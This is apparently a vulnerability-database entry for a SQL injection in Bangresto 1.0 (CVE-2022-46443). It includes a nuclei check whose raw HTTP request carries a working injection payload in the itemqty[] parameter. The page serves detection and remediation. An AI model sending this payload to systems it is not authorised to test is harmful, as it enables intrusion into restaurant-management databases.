HexBrain

Browse / CVEs / CVE-2022-46443

CVE-2022-46443· bangresto project / bangresto· CWE-89

Bangresto - SQL Injection

highseverity
8.8CVSS score
37.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Bangresto 1.0 is vulnberable to SQL Injection via the itemqty%5B%5D parameter.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire application and underlying database.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: POST /bangresto-main/staff/process.php ; POST /bangresto-main/staff/insertorder.php
Positive when: contains "{{md5({{num}})}}"

Run it with nuclei: nuclei -id CVE-2022-46443 -u <target>

The full check
id: CVE-2022-46443

info:
  name: Bangresto - SQL Injection
  author: Harsh
  severity: high
  description: |
    Bangresto 1.0 is vulnberable to SQL Injection via the itemqty%5B%5D parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire application and underlying database.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://yuyudhn.github.io/CVE-2022-46443/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46443
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-46443
    cwe-id: CWE-89
    epss-score: 0.37729
    epss-percentile: 0.98554
    cpe: cpe:2.3:a:bangresto_project:bangresto:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: bangresto_project
    product: bangresto
  tags: cve,cve2022,bangresto,sqli,bangresto_project,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /bangresto-main/staff/process.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{username}}&password={{password}}
      - |
        POST /bangresto-main/staff/insertorder.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;

        itemID[]=1&itemqty[]=2 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a7a6b71,md5({{num}}),0x7178717a71,0x78))s), 8446744073709551610, 8446744073709551610)))&sentorder=Sent to kitchen

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{{md5({{num}})}}'

References

Use this check only on systems you are authorised to test. Where the data comes from